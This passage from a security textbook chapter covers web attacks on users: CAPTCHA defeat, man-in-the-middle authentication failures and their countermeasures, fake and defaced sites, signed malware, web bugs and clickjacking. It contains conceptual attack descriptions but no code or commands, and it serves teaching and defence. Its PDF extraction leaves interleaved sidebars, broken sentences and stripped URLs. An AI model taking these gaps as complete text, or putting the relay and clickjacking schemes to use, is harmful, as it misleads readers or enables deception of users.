We have seen how CAPTCHAs were designed to take advantage of how humans are much better at pattern recognition than are computers. But CAPTCHAs, too, have their vulnerabilities, and they can be defeated with the kinds of security engineering techniques we present in this book. As we have seen in every chapter, a wily attacker looks for a vulnerability to exploit and then designs an attack to take advantage of it.

In the same way, Jeff Yan and Ahmad Salah El Ahmad [YAN11] defeated CAPTCHAs by focusing on invariants—things that do not change even when the CAPTCHAs distort them. They investigated CAPTCHAs produced by major web services, including Google, Microsoft, and Yahoo for their free email services such as Hotmail. A now-defunct service called provided CAPTCHAs to commercial web sites for a fee. Each of the characters in that service’s CAPTCHAs had a different number of pixels, but the number of pixels for a given character remained constant when the character was distorted—an invariant that allowed Yan and El Ahmad to differentiate one character from another without having to recognize the character. Yahoo’s CAPTCHAs used a fixed angle for image transformation. Yan and El Ahmad pointed out that “Exploiting invariants is a classic cryptanalysis strategy. For example, differential cryptanalysis works by observing that a subset of pairs of plaintexts has an invariant relationship preserved through numerous cipher rounds. Our work dem- onstrates that exploiting invariants is also effective for studying CAPTCHA robustness.”

Yan and Ahmad successfully used simple techniques to defeat the CAPTCHAs, such as pixel counts, color-filling segmentation, and histogram analysis. And they defeated two kinds of invariants: pixel level and string level. A pixel-level invariant can be exploited by processing the CAPTCHA images at the pixel level, based on what does not change (such as num- ber of pixels or angle of character). String-level invariants do not change across the entire length of the string. For example, Microsoft in 2007 used a CAPTCHA with a constant length of text in the challenge string; this invari- ant enabled Yan and El Ahmad to identify and segment connected charac- ters. Reliance on dictionary words is another string-level invariant; as we saw with dictionary-based passwords, the dictionary limits the number of possible choices.

So how can these vulnerabilities be eliminated? By introducing some degree of randomness, such as an unpredictable number of characters in a string of text. Yan and El Ahmad recommend “introduc[ing] more types of global shape patterns and have them occur in random order, thus making it harder for computers to differentiate each type.” Google’s CAPTCHAs allow the characters to run together; it may be possible to remove the white space between characters, as long as readability does not suffer. Yan and El Ahmad point out that this kind of security engineering analysis leads to more robust CAPTCHAs, a process that mirrors what we have already seen in other security techniques, such as cryptography and software development.

240 Chapter 4 The Web—User Side

on to another bunch. Thus, spammers need a constant source of new accounts, and they would like to automate the process of obtaining new ones.

Petmail ( is a proposed anti-spam email system. In the description the author hypothesizes the following man-in-the-middle attack against CAPTCHAs from free email account vendors. First, the spam sender creates a site that will attract visitors; the author suggests a site with pornographic photos. Second, the spammer requires people to solve a CAPTCHA in order to enter the site and see the photos. At the moment a user requests access, the spam originator automatically gener- ates a request to create a new email account (Hotmail, for example). Hotmail presents a CAPTCHA, which the spammer then presents to the pornography requester. When the requester enters the solution, the spammer forwards that solution back to Hotmail. If the solution succeeds, the spammer has a new account and allows the user to see the photos; if the solution fails, the spammer presents a new CAPTCHA challenge to the user. In this way, the attacker in the middle splices together two interactions by inserting a small amount of the account creation thread into the middle of the photo access thread. The user is unaware of the interaction in the middle.

How Browser Attacks Succeed: Failed Identification and Authentication

The central failure of these in-the-middle attacks is faulty authentication. If A cannot be assured that the sender of a message is really B, A cannot trust the authenticity of anything in the message. In this section we consider authentication in different contexts.

Human Authentication

As we first stated in Chapter 2, authentication is based on something you know, are, or possess. People use these qualities all the time in developing face-to-face authentica- tion. Examples of human authentication techniques include a driver’s license or identity card, a letter of introduction from a mutual acquaintance or trusted third party, a picture (for recognition of a face), a shared secret, or a word. (The original use of “password” was a word said to a guard to allow the speaker to pass a checkpoint.) Because we humans exercise judgment, we develop a sense for when an authentication is adequate and when something just doesn’t seem right. Of course, humans can also be fooled, as described in Sidebar 4-2.

SIDEBAR 4-2 Colombian Hostages Freed by Man-in-the- Middle Trick

Colombian guerrillas captured presidential candidate Ingrid Betancourt in 2002, along with other political prisoners. The guerillas, part of the FARC movement, had considered Betancourt and three U.S. contractors to be their most valuable prisoners. The captives were liberated in 2008 through a scheme involving two infiltrations: one infiltration of the local group that held the hostages, and the other of the central FARC command structure.

Having infiltrated the guerillas’ central command organization, Colom- bian defense officials tricked the local FARC commander, known as Cesar,

Section 4.1 Browser Attacks 241

In Chapter 2 we explored human-to-computer authentication that used sophisticated techniques such as biometrics and so-called smart identity cards. Although this field is advancing rapidly, human usability needs to be considered in such approaches: Few people will, let alone can, memorize many unique, long, unguessable passwords. These human factors can affect authentication in many contexts because humans often have a role in authentication, even of one computer to another. But fully automated computer- to-computer authentication has additional difficulties, as we describe next.

Computer Authentication

When a user communicates online with a bank, the communication is really user-to- browser and computer-to-bank’s computer. Although the bank performs authentication of the user, the user has little sense of having authenticated the bank. Worse, the user’s browser and computer in the middle actually interact with the bank’s computing system, but the user does not actually see or control that interaction. What is needed is a reliable path from the user’s eyes and fingers to the bank, but that path passes through an opaque browser and computer.

Computer authentication uses the same three primitives as human authentication, with obvious variations. There are relatively few ways to use something a computer has or is for authentication. If a computer’s address or a component’s serial number cannot

into believing the hostages were to be transferred to the supreme com- mander of the FARC, Alfonso Cano. Because the infiltrators knew that Cesar was unacquainted with most others in the FARC organization, they exploited their knowledge by sending him phony messages, purportedly from Cano’s staff, advising him of the plan to move the hostages. In the plan Cesar was told to have the hostages, Betancourt, the Americans, and 11 other Colombians, ready for helicopters to pick them up. The two plain white helicopters, loaded with soldiers playing the parts of guerillas better than some professional actors could, flew into the FARC camp.

Agents on the helicopters bound the hostages’ hands and loaded them on board; Cesar and another captor also boarded the helicopter, but once airborne, they were quickly overpowered by the soldiers. Betancourt and the others really believed they were being transferred to another FARC camp, but the commander told her they had come to rescue her; only when she saw her former captor lying bound on the floor did she really believe she was finally free.

Infiltration of both the local camp and the senior command struc- ture of FARC let the Colombian defense accomplish this complex man-in- the-middle attack. During elaborate preparation, infiltrators on both ends intruded in and altered the communication between Cesar and Cano. The man-in-the-middle ruse was tricky because the interlopers had to be able to represent Cesar and Cano in real time, with facts appropriate for the two FARC officials. When boxed in with not enough knowledge, the intermedi- aries dropped the telephone connection, something believable given the state of the Colombian telecommunications network at the time.

242 Chapter 4 The Web—User Side

be spoofed, that is a reliable authenticator, but spoofing or impersonation attacks can be subtle. Computers do not innately “know” anything, but they can remember (store) many things and derive many more. The problem, as you have seen with topics such as cryptographic key exchange, is how to develop a secret shared by only two computers.

In addition to obtaining solid authentication data, you must also consider how authentication is implemented. Essentially every output of a computer is controlled by software that might be malicious. If a computer responds to a prompt with a user’s password, software can direct that computer to save the password and later reuse or repeat it to another process, as was the case with the SilentBanker man-in-the-browser attack. If authentication involves computing a cryptographic result, the encryption key has to be placed somewhere during the computing, and it might be susceptible to copy- ing by another malicious process. Or on the other end, if software can interfere with the authentication-checking code to make any value succeed, authentication is compro- mised. Thus, vulnerabilities in authentication include not just the authentication data but also the processes used to implement authentication. Halperin et al. [HAL08a] present a chilling description of this vulner- ability in their analysis of radio con- trol of implantable medical devices such as pacemakers. We explore those exposures in Chapter 13 when we consider security implications of the “Internet of things.”

Even if we put aside for a moment the problem of initial authentication, we also need to consider the problem of continuous authentication: After one computer has authen- ticated another and is ready to engage in some kind of data exchange, each computer has to monitor for a wiretapping or hijacking attack by which a new computer would enter into the communication, falsely alleging to be the authenticated one, as depicted in Figure 4-6.

Sometimes overlooked in the authentication discussion is that credibility is a two- sided issue: The system needs assurance that the user is authentic, but the user needs that same assurance about the system. This second issue has led to a new class of com- puter fraud called phishing, in which an unsuspecting user submits sensitive informa- tion to a malicious system impersonating a trustworthy one. (We explore phishing later in this chapter.) Common targets of phishing attacks are banks and other financial insti- tutions: Fraudsters use the sensitive data they obtain from customers to take customers’ money from the real institutions. Other phishing attacks are used to plant malicious code on the victim’s computer.

Thus, authentication is vulnerable at several points:

• Usability and accuracy can conflict for identification and authentication: A more usable system may be less accurate. But users demand usability, and at least some system designers pay attention to these user demands.

• Computer-to-computer interaction allows limited bases for authentication. Com- puter authentication is mainly based on what the computer knows, that is, stored or computable data. But stored data can be located by unauthorized processes, and what one computer can compute so can another.

Your bank takes steps to authenticate you, but how can you authenticate your bank?

Section 4.1 Browser Attacks 243

• Malicious software can undermine authentication by eavesdropping on (inter- cepting) the authentication data and allowing it to be reused later. Well-placed attack code can also wait until a user has completed authentication and then interfere with the content of the authenticated session.

• Each side of a computer interchange needs assurance of the authentic identity of the opposing side. This is true for human-to-computer interactions as well as for computer-to-human.

The specific situation of man-in-the-middle attacks gives us some interesting coun- termeasures to apply for identification and authentication.

Successful Identification and Authentication

Appealing to everyday human activity gives some useful countermeasures for attacks against identification and authentication.

Shared Secret Banks and credit card companies struggle to find new ways to make sure the holder of a credit card number is authentic. The first secret was mother’s maiden name, which is something a bank might have asked when someone opened an account. However, when all financial institutions started to use this same secret, it was no longer as secret. Next, credit card companies moved to a secret verification number imprinted on a credit card to prove the person giving the card number also possessed the card. Again, overuse is reducing the usefulness of this authenticator. Now, financial institutions are asking new customers to file the answers to questions presumably only the right person will know. Street on which you grew up, first school attended, and model of first car are becoming popular, perhaps too popular. As long as different places use different questions and the answers are not easily derived, these measures can confirm authentication.

I am the computer of the great and powerful warlord

and sultan of Frangipane.

And I am the computer complex of

the multinational mega- conglomerate

Universal Ubercorp.

FIGURE 4-6 Without Continuous Authentication Neither End Can Trust the Other

244 Chapter 4 The Web—User Side

The basic concept is of a shared secret, something only the two entities on the end should know. A human man-in-the-middle attack can be defeated if one party asks the other a pointed question about a dinner they had together or details of a recent corporate event, or some other common topic. Similarly, a shared secret for com- puter systems can help authenticate. Possible secrets could involve the time or date of last login, time of last update, or size of a particular application file.

One-Time Password As its name implies, a one-time password is good for only one use. To use a one-time password scheme, the two end parties need to have a shared secret list of passwords. When one password is used, both parties mark the word off the list and use the next word the next time.

The SecurID token, introduced in Chapter 2, generates a new random number every 60 seconds. The receiving computer has a program that can compute the random number for any given moment, so it can compare the value entered against the expected value.

Out-of-Band Communication Out-of-band communication means transferring one fact along a communication path separate from that of another fact. For example, bank card PINs are always mailed sepa- rately from the bank card so that if the envelope containing the card is stolen, the thief cannot use the card without the PIN. Similarly, if a customer calls a bank about having forgotten a PIN, the bank does not simply provide a new PIN in that conversation over the phone; the bank mails a separate letter containing a new PIN to the account-hold- er’s address on file. In this way, if someone were impersonating the customer, the PIN would not go to the impersonator. Some banks confirm large Internet fund transfers by sending a text message to the user’s mobile phone. However, as Sidebar 4-3 indicates, mobile phones are also subject to man-in-the-middle attacks.

The U.S. Defense Department uses a secure telephone called a STU-III. A customer places a call and, after establishing communication with the correct party on the other end, both parties press a button for the phones to enter secure mode; the phones then encrypt the rest of the conversation. As part of the setup for going into secure mode, the two phones together derive a random number that they then display in a window on the phone. To protect against a man-in-the-middle attack, callers are instructed to recite the number so that both parties agree they have the same number on their phone’s window. A wiretapper in the middle might be able to intercept the initial call setup and call the intended recipient on a second STU-III phone. Then, sitting with the earpiece of one STU- III up against the mouthpiece of the other, the intruder could perform a man-in-the-middle attack. However, these two phones would establish two different sessions and display dif- ferent random numbers, so the end parties would know their conversation was being inter- cepted because, for example, one would hear the number 101 but see 234 on the display.

As these examples show, the use of some outside information, either a shared secret or something communicated out of band, can foil a man-in-the-middle attack.

To be effective, a shared secret must be something no malicious middle agent can know.

Section 4.2 Web Attacks Targeting Users 245

Continuous Authentication In several places in this book we argue the need for a continuous authentication mech- anism. Although not perfect in those regards, strong encryption does go a long way toward a solution.

If two parties carry on an encrypted communication, an interloper wanting to enter into the communication must break the encryption or cause it to be reset with a new key exchange between the interceptor and one end. (This latter technique is known as a session hijack, which we study in Chapter 6.) Both of these attacks are complicated but not impossible. However, this countermeasure is foiled if the attacker can intrude in the communication pre-encryption or post-decryption. These problems do not detract from the general strength of encryption to maintain authentication between two parties. But be aware that encryption by itself is not a magic fairy dust that counters all security failings and that misused cryptography can impart a false sense of security.

These mechanisms—signatures, shared secrets, one-time passwords and out-of-band communications—are all ways of establishing a context that includes authentic parties and excludes imposters.


We next consider two classes of situations involving web content. The first kind involves false content, most likely because the content was modified by someone unauthorized; with these the intent is to mislead the viewer. The second, more dangerous, kind seeks to harm the viewer.

SIDEBAR 4-3 Man-in-the-Mobile Attack

The Zeus Trojan horse is one of the most prolific pieces of malicious code. It is configurable, easy for an attacker to use, and effective. Its owners con- tinually update and modify it, to the extent that security firm Symantec has counted over 70,000 variations of the basic code. Because of the num- ber of strains, malicious code detectors must update their definitions con- stantly. Zeus sells on the hacker market for a few hundred dollars. Targeting financial site interactions, it can pay for itself with a single exploit.

Zeus has taken on the mobile phone messaging market, too. Accord- ing to security firm S21Sec, Zeus now has an application that can be unintentionally downloaded to smartphones; using SMS messaging, Zeus communicates with its command and control center. But because it is installed in the mobile, it can also block or alter text messages sent by a financial institution to a customer’s mobile phone.

Encryption can provide continuous authentication, but care must be taken to set it up properly and guard the end points.

246 Chapter 4 The Web—User Side

False or Misleading Content

It is sometimes difficult to tell when an art work is authentic or a forgery; art experts can debate for years who the real artist is, and even when there is consensus, attribution of a da Vinci or Rembrandt painting is opinion, not certainty. As Sidebar 4-4 relates; author- ship of Shakespeare’s works may never be resolved. It may be easier to tell when a painting is not by a famous painter: A child’s crayon drawing will never be mistaken for something by a celebrated artist, because, for example, Rembrandt did not use crayons or he used light, shadow, and perspective more maturely than a child.

SIDEBAR 4-4 Who Wrote Shakespeare’s Plays?

Most people would answer “Shakespeare” when asked who wrote any of the plays attributed to the bard. But for over 150 years literary scholars have had their doubts. In 1852, it was suggested that Edward de Vere, Earl of Oxford, wrote at least some of the works. For decades scholarly debate raged, citing the few facts known of Shakespeare’s education, travels, work schedule, and experience.

In the 1980s a new analytic technique was developed: computer- ized analysis of text. Different researchers studied qualities such as word choice, images used in different plays, word pairs, sentence structure, and the like—any structural element that could show similarity or dissimilarity. (See, for example, [FAR96] and [KAR01], as well as www.shakespeare The debate continues as researchers develop more and more qualities to correlate among databases (the language of the plays and other works attributed to Shakespeare). The controversy will probably never be settled.

But the technique has proved useful. In 1996, an author called Anony- mous published the novel Primary Colors. Many people tried to determine who the author was. But Donald Foster, a professor at Vassar College, aided by some simple computer tools, attributed the novel to Joe Klein, who later admitted to being the author. Peter Neumann [NEU96] in the Risks forum, notes how hard it is lie convincingly, even having tried to alter your writing style, given “telephone records, credit card records, airplane reservation databases, library records, snoopy neighbors, coincidental encounters, etc.”—in short, given aggregation.

The approach has uses outside the literary field. In 2002, the SAS Institute, vendors of statistical analysis software, introduced data-mining software to find patterns in old email messages and other masses of text. By now, data mining is a major business sector often used to target mar- keting to people most likely to be customers. (See the discussion on data mining in Chapter 7.) SAS suggests pattern analysis might be useful in identifying and blocking false email. Another possible use is detecting lies, or perhaps just flagging potential inconsistencies. It has also been used to help locate the author of malicious code.

Section 4.2 Web Attacks Targeting Users 247

The case of computer artifacts is similar. An incoherent message, a web page riddled with grammatical errors, or a peculiar political position can all alert you that something is suspicious, but a well-crafted forgery may pass without question. The falsehoods that follow include both obvious and subtle forgeries.

Defaced Web Site

The simplest attack, a website defacement, occurs when an attacker replaces or modi- fies the content of a legitimate web site. For example, in January 2010, BBC reported that the web site of the incoming president of the European Union was defaced to present a picture of British comic actor Rowan Atkinson (Mr. Bean) instead of the president.

The nature of these attacks varies. Often the attacker just writes a message like “You have been had” over the web-page content to prove that the site has been hacked. In other cases, the attacker posts a message opposing the message of the original web site, such as an animal rights group protesting mistreatment of animals at the site of a dog- racing group. Other changes are more subtle. For example, recent political attacks have subtly replaced the content of a candidate’s own site to imply falsely that a candidate had said or done something unpopular. Or using website modification as a first step, the attacker can redirect a link on the page to a malicious location, for example, to present a fake login box and obtain the victim’s login ID and password. All these attacks attempt to defeat the integrity of the web page.

The objectives of website defacements also vary. Sometimes the goal is just to prove a point or embarrass the victim. Some attackers seek to make a political or ideo- logical statement, whereas others seek only attention or respect. In some cases the attacker is showing a point, proving that it was possible to defeat integrity. Sites such as those of the New York Times, the U.S. Defense Department or FBI, and political parties were frequently targeted this way. Sidebar 4-5 describes defacing an antivirus firm’s web site.

SIDEBAR 4-5 Antivirus Maker’s Web Site Hit

Website modifications are hardly new. But when a security firm’s web site is attacked, people take notice. For several hours on 17 October 2010, visi- tors to a download site of security research and antivirus product company Kaspersky were redirected to sites serving fake antivirus software.

After discovering the redirection, Kaspersky took the affected server offline, blaming the incident on “a faulty third-party application.” [ITPro, 19 October 2010]

Bank robber Willy Sutton is reported to have said when asked why he robbed banks, “That’s where the money is.” What better way to hide mali- cious code than by co-opting the web site of a firm whose customers are ready to install software, thinking they are protecting themselves against malicious code?

248 Chapter 4 The Web—User Side

A defacement is common not only because of its visibility but also because of the ease with which one can be done. Web sites are designed so that their code is down- loaded, enabling an attacker to obtain the full hypertext document and all programs directed to the client in the loading process. An attacker can even view programmers’ comments left in as they built or maintained the code. The download process essentially gives the attacker the blueprints to the web site.

Fake Web Site

A similar attack involves a fake web site. In Figure 4-7 we show a fake version of the web site of Barclays Bank (England) at The real Barclays site is at As you can see, the forger had some trouble with the top image, but if that were fixed, the remainder of the site would look convincing.

Web sites are easy to fake because the attacker can obtain copies of the images the real site uses to generate its web site. All the attacker has to do is change the values of links to redirect the unsuspecting victim to points of the attacker’s choosing.

FIGURE 4-7 Fake Web Site for Barclays Bank

The attacker can get all the images a real site uses; fake sites can look convincing.

Section 4.2 Web Attacks Targeting Users 249

Fake Code

In Chapter 3 we considered malicious code—its sources, effects, and countermeasures. We described how opening a document or clicking a link can lead to a surreptitious download of code that does nothing obvious but installs a hidden infection. One trans- mission route we did not note was an explicit download: programs intentionally installed that may advertise one purpose but do something entirely different. Figure 4-8 shows a seemingly authentic ad for a replacement or update to the popular Adobe Reader. The link from which it came ( was redirected from; both addresses seem like the kinds of URLs Adobe might use to distribute legitimate software.

Whether this attack is meant just to deceive or to harm depends on what code is actually delivered. This example shows how malicious software can masquerade as legitimate. The charade can continue unnoticed for some time if the malware at least seems to implement its ostensible function, in this case, displaying and creating PDF documents. Perhaps the easiest way for a malicious code writer to install code on a target machine is to create an application that a user willingly downloads and installs. As we describe in Chapter 13, smartphone apps are well suited for distributing false or misleading code because of the large number of young, trusting smartphone users.

FIGURE 4-8 Advertisement of Fake Software

250 Chapter 4 The Web—User Side

As another example, security firm f-Secure advised (22 Oct 2010) of a phony ver- sion of Microsoft’s Security Essentials tool. The real tool locates and eradicates mal- ware; the phony tool reports phony—nonexistent—malware. An example of its action is shown in Figure 4-9. Not surprisingly, the “infections” the phony tool finds can be cured only with, you guessed it, phony tools sold through the phony tool’s web site, shown in Figure 4-10.

FIGURE 4-9 Phony [Microsoft] Security Essentials Tool

FIGURE 4-10 Infections Found and Countermeasure Tools for Sale

Section 4.2 Web Attacks Targeting Users 251

Protecting Web Sites Against Change

A web site is meant to be accessed by clients. Although some web sites are intended for authorized clients only and restricted by passwords or other access controls, other sites are intended for the general public. Thus, any controls on content have to be unobtru- sive, not limiting proper use by the vast majority of users.

Our favorite integrity control, encryption, is often inappropriate: Distributing decryp- tion keys to all users defeats the effectiveness of encryption. However, two uses of encryption can help keep a site’s content intact.

Integrity Checksums As we present in Chapter 2, a checksum, hash code, or error detection code is a math- ematical function that reduces a block of data (including an executable program) to a small number of bits. Changing the data affects the function’s result in mostly unpre- dictable ways, meaning that it is difficult—although not impossible—to change the data in such a way that the resulting function value is not changed. Using a checksum, you trust or hope that significant changes will invalidate the checksum value.

Recall from Chapter 1 that some security controls can prevent attacks whereas other controls detect that an attack has succeeded only after it has happened. With detection con- trols we expect to be able to detect attacks soon enough that the damage is not too great. Amount of harm depends on the value of the data, even though that value can be hard to measure. Changes to a web site listing tomorrow’s television schedule or the weather fore- cast might inconvenience a number of people, but the impact would not be catastrophic. And a web archive of the review of a performance years ago might be accessed by only one person a month. For these kinds of web sites, detecting a change is adequate hours or even days after the change. Detecting changes to other web sites, of course, has more urgency. At a frequency of seconds, hours, or weeks, the site’s administrator needs to inspect for and repair changes.

To detect data modification, administrators use integrity-checking tools, of which the Tripwire program [KIM98] (described in Chapter 2) is the most well known. When placing code or data on a server an administrator runs Tripwire to generate a hash value for each file or other data item. These hash values must be saved in a secure place, generally offline or on a network separate from the protected data, so that no intruder can modify them while modifying the sensitive data. The administrator reruns Tripwire as often as appropriate and compares the new and original hash values to determine if changes have occurred.

Signed Code or Data Using an integrity checker helps the server-side administrator know that data are intact; it provides no assurance to the client. A similar, but more complicated approach works for clients, as well.

The problem of downloading faulty code or other data because of its being supplied by a malicious intruder can also be handled by an outside attestation. As described in

Integrity checksums can detect altered content on a web site.

252 Chapter 4 The Web—User Side

Chapter 2, a digital signature is an electronic seal that can vouch for the authenticity of a file or other data object. The recipient can inspect the seal to verify that it came from the person or organization believed to have signed the object and that the object was not modified after it was signed.

A partial approach to reducing the risk of false code is signed code. Users can hold downloaded code until they inspect the seal. After verifying that the seal is authentic and covers the entire code file being downloaded, users can install the code obtained.

A trustworthy third party appends a digital signature to a piece of code, supposedly connoting more trustworthy code. Who might the trustworthy party be? A well-known manufacturer would be recognizable as a code signer. In fact, Microsoft affixes a digital signature to protect the integrity of critical parts of Windows. The signature is verified each time the code is loaded, ordinarily when the system is rebooted. But what of the small and virtually unknown manufacturer of a device driver or a code add-in? If the code vendor is unknown, it does not help that the vendor signs its own code; miscreants can post their own signed code, too. As described in Sidebar 4-6, malicious agents can also subvert a legitimate signing infrastructure. Furthermore, users must check the valid- ity of the signatures: Sally’s signature does not confirm the legitimacy of Ben’s code.

The threat of signed malicious code is real. According to anti-malware company McAfee, digitally signed malware accounted for only 1.3 percent of code items obtained in 2010, but the proportion rose to 2.9 percent for 2011 and 6.6 percent for 2012. Miscreants apply for and obtain legitimate certificates. Unsuspecting users (and

A digital signature can vouch for the authenticity of a program, update, or dataset. The problem is, trusting the legitimacy of the signer.

SIDEBAR 4-6 Adobe Code-Signing Compromised

In 2012, Adobe announced that part of its code-signing infrastructure had been compromised and that the attackers had been able to distribute ille- gitimate code signed with a valid Adobe digital signature. In the incident attackers obtained access to a server in the Adobe code production library; with that server the agents were able to enter arbitrary code into the soft- ware build and request signatures for that software by using the standard procedure for legitimate Adobe software.

In this attack only two illicit utilities were introduced, and those affected only a small number of users. However, the cleanup required Adobe to decommission the compromised digital signature, issue a new signature, and develop a process for re-signing the affected utilities. For- tunately, the compromised server was reasonably well isolated, having access to source code for only one product; thus, the extent of potential damage was controlled.

Section 4.2 Web Attacks Targeting Users 253

their browsers) then accept these signatures as proof that the software is authentic and nonmalicious. Part of the problem is that signing certificates are relatively easy and cheap for anyone to obtain; the certificate indicates that the owner is a properly regis- tered business in the locality in which it operates, but little more. Although signature authorities exercise reasonable diligence in issuing signing certificates, some bad actors slip through. Thus, signed code may confirm that a piece of software received is what the sender sent, but not that the software does all or only what a user expects it to.

Malicious Web Content

The cases just described could be harmless or harmful. One example showed that arbi- trary code could be delivered to an unsuspecting site visitor. That example did not have to deliver malicious code, so it could be either nonmalicious or malicious. Likewise, someone could rewrite a web site in a way that would embarrass, deceive, or just poke fun—the defacer’s motive may not be obvious. The following example, however, has unmistakably harmful intent. Our next attacks involve web pages that try to cause harm to the user.

Substitute Content on a Real Web Site

A website defacement is like graffiti: It makes a statement but does little more. To the site owner it may be embarrassing, and it attracts attention, which may have been the attacker’s only intention. More mischievous attackers soon realized that in a similar way, they could replace other parts of a web site and do so in a way that did not attract attention.

Think of all the sites that offer content as PDF files. Most have a link through which to download the free PDF file display tool, Adobe Reader. That tool comes preloaded on many computers, and most other users have probably already installed it themselves. Still, sites with PDF content want to make sure users can process their downloads, so they post a link to the Adobe site, and occasionally a user clicks to download the utility program. Think, however, if an attacker wanted to insert malicious code, perhaps even in a compromised version of Reader. All the attacker would have to do is modify the link on the site with the PDF file so it points to the attacker’s site instead of Adobe’s, as depicted in Figure 4-11. If the attacker presents a site that looks credible enough, most users would download and install the tool without question. For the attacker, it is one tiny change to the original site’s HTML code, certainly no harder than changing the rest of the content.

Because so many people already have Adobe Reader installed, this example would not affect many machines. Suppose, however, the tool were a special application from a bank to enable its customers to manage their accounts online, a toolbar to assist in searching, or a viewer to display proprietary content. Many sites offer specialized pro- grams to further their business goals and, unlike the case with Adobe Reader, users will often not know if the tool is legitimate, the site from which the tool comes is authen- tic, or the code is what the commercial site intended. Thus, website modification has advanced from being an attention-seeking annoyance to a serious potential threat.

254 Chapter 4 The Web—User Side

Web Bug

You probably know that a web page is made up of many files: some text, graphics, exe- cutable code, and scripts. When the web page is loaded, files are downloaded from a destination and processed; during the processing they may invoke other files (perhaps from other sites) which are in turn downloaded and processed, until all invocations have been satisfied. When a remote file is fetched for inclusion, the request also sends the IP address of the requester, the type of browser, and the content of any cookies stored for the requested site. These cookies permit the page to display a notice such as “Welcome back, Elaine,” bring up content from your last visit, or redirect you to a particular web page.

Some advertisers want to count number of visitors and number of times each visitor arrives at a site. They can do this by a combination of cookies and an invisible image. A web bug, also called a clear GIF, 1x1 GIF, or tracking bug, is a tiny image, as small as 1 pixel by 1 pixel (depending on resolution, screens display at least 100 to 200 pixels per inch), an image so small it will not normally be seen. Nevertheless, it is loaded and processed the same as a larger picture. Part of the processing is to notify the bug’s owner, the advertiser, who thus learns that another user has loaded the advertising image.

A single company can do the same thing without the need for a web bug. If you order flowers online, the florist can obtain your IP address and set a cookie containing your details so as to recognize you as a repeat customer. A web bug allows this tracking across multiple merchants.

Your florist might subscribe to a web tracking service, which we name ClicksRUs. The florist includes a web bug in its web image, so when you load that page, your details are sent to ClicksRUs, which then installs a cookie. If you leave the florist’s web site and next go to a bakery’s site that also subscribes to tracking with ClicksRUs, the new page will also have a ClicksRUs web bug. This time, as shown in Figure 4-12, ClicksRUs retrieves its old cookie, finds that you were last at the florist’s site, and records the coincidence

Download important things to read:

Studies of low-order even primes

pdf file

pdf file

Making anti-gravity paint and what to store it in

How to cheat at solitaire

pdf file

101 things to do with string

pdf file

Download my infected version of Adobe Reader here

FIGURE 4-11 Malicious Code to Download

Section 4.2 Web Attacks Targeting Users 255

of these two firms. After correlating these data points, ClicksRUs can inform the florist and the bakery that they have common customers and might develop a joint marketing approach. Or ClicksRUs can determine that you went from florist A to florist B to flo- rist C and back to florist A, so it can report to them that B and C lost out to A, helping them all develop more successful marketing strategies. Or ClicksRUs can infer that you are looking for a gift and will offer a targeted ad on the next site you visit. ClicksRUs might receive advertising revenue from florist D and trinket merchant E, which would influence the ads it will display to you. Web bugs and tracking services are big business, as we explain in Chapter 9.

Web bugs can also be used in email with images. A spammer gets a list of email addresses but does not know if the addresses are active, that is, if anyone reads mail at that address. With an embedded web bug, the spammer receives a report when the email message is opened in a browser. Or a company suspecting its email is ending up with competitors or other unauthorized parties can insert a web bug that will report each time the message is opened, whether as a direct recipient or someone to whom the message has been forwarded.

Tiny action points called web bugs can report page traversal patterns to central collecting points, compromising privacy.

Florist Bakery

Targeted ad



Visit from Visit from


Web bugs

FIGURE 4-12 Web Bugs

256 Chapter 4 The Web—User Side

Is a web bug malicious? Probably not, although some people would claim that the unannounced tracking is a harmful invasion of privacy. But the invisible image is also useful in more malicious activities, as described next.


Suppose you are at a gasoline filling station with three buttons to press to select the grade of fuel you want. The station owner, noticing that most people buy the lowest- priced fuel but that his greatest profit comes from the highest-priced product, decides to pull a trick. He pastes stickers over the buttons for the lowest and highest prices saying, respectively, “high performance” (on the lowest-priced button) and “economy” (on the expensive, high-profit button). Thus, some people will inadvertently push the economy/ high-priced button and unwittingly generate a higher profit. Unfair and deceptive, yes, but if the owner is unscrupulous, the technique would work; however, most businesses would not try that, because it is unethical and might lose customers. But computer attackers do not care about ethics or loss of customers, so a version of this technique becomes a computer attack.

Consider a scenario in which an attacker wants to seduce a victim into doing some- thing. As you have seen in several examples in this book, planting a Trojan horse is not difficult. But application programs and the operating system make a user confirm actions that are potentially dangerous—the equivalent of a gas pump display that would ask “are you sure you want to buy the most expensive fuel?” The trick is to get the user to agree without realizing it.

As shown in Figure 4-13, the computer attack uses an image pasted over, that is, displayed on top of, another image. We are all familiar with the click box “Do you want to delete this file? [Yes] [No].” Clickjacking is a technique that essentially causes that prompt box to slide around so that [Yes] is always under the mouse. The attacker also makes this box transparent, so the victim is unaware of clicking anything. Furthermore, a second, visible image is pasted underneath, so the victim thinks the box being

Clickjacking: Tricking a user into clicking a link by disguising what the link points to

FIGURE 4-13 Clickjacking

Do you want to perform this dangerous act?

[Yes] [No]

For a Free Prize Click


Section 4.2 Web Attacks Targeting Users 257

clicked is something like “For a free prize, click [Here].” The victim clicks where [Here] is on the screen, but [Here] is not a button at all; it is just a picture directly under [Yes] (which is invisible). The mouse click selects the [Yes] button.

It is easy to see how this attack would be used. The attacker chooses an action to which the user would ordinarily not agree, such as

• Do you really want to delete all your files?

• Do you really want to send your contacts list to a spam merchant?

• Do you really want to install this program?

• Do you really want to change your password to AWordYouDontKnow?

• Do you really want to allow the world to have write access to your profile?

For each such question, the clickjacking attacker only has to be able to guess where the confirmation box will land, make it transparent, and slip the For a Free Prize, Click [Here] box under the invisible [Yes] button of the dangerous action’s confirmation box.

These examples give you a sense of the potential harm of clickjacking. A surveil- lance attack might activate a computer camera and microphone, and the attack would cover the confirmation box; this attack was used against Adobe Flash, as shown in the video at Sidebar 4-7 describes how numerous Facebook users were duped by a clickjacking attack.

A clickjacking attack succeeds because of what the attacker can do:

• choose and load a page with a confirmation box that commits the user to an action with one or a small number of mouse clicks (for example, “Do you want to install this program? [Yes] [Cancel]”)

• change the image’s coloring to transparent

• move the image to any position on the screen

SIDEBAR 4-7 Facebook Clickjack Attack

In Summer 2010, thousands of Facebook users were tricked into posting that they “liked” a particular site. According to BBC news (3 June 2010), victims were presented with sites that many of their friends had “liked,” such as a video of the World Cup tennis match. When the users clicked to see the site, they were presented with another message asking them to click to confirm they were over age 18.

What the victims did not see was that the confirmation box was a sham underneath an invisible box asking them to confirm they “liked” the target web site. When the victims clicked that they were over 18, they were really confirming their “like” of the video.

This attack seems to have had no malicious impact, other than driving up the “like” figures on certain benign web sites. You can readily imagine serious harm from this kind of attack, however.

258 Chapter 4 The Web—User Side

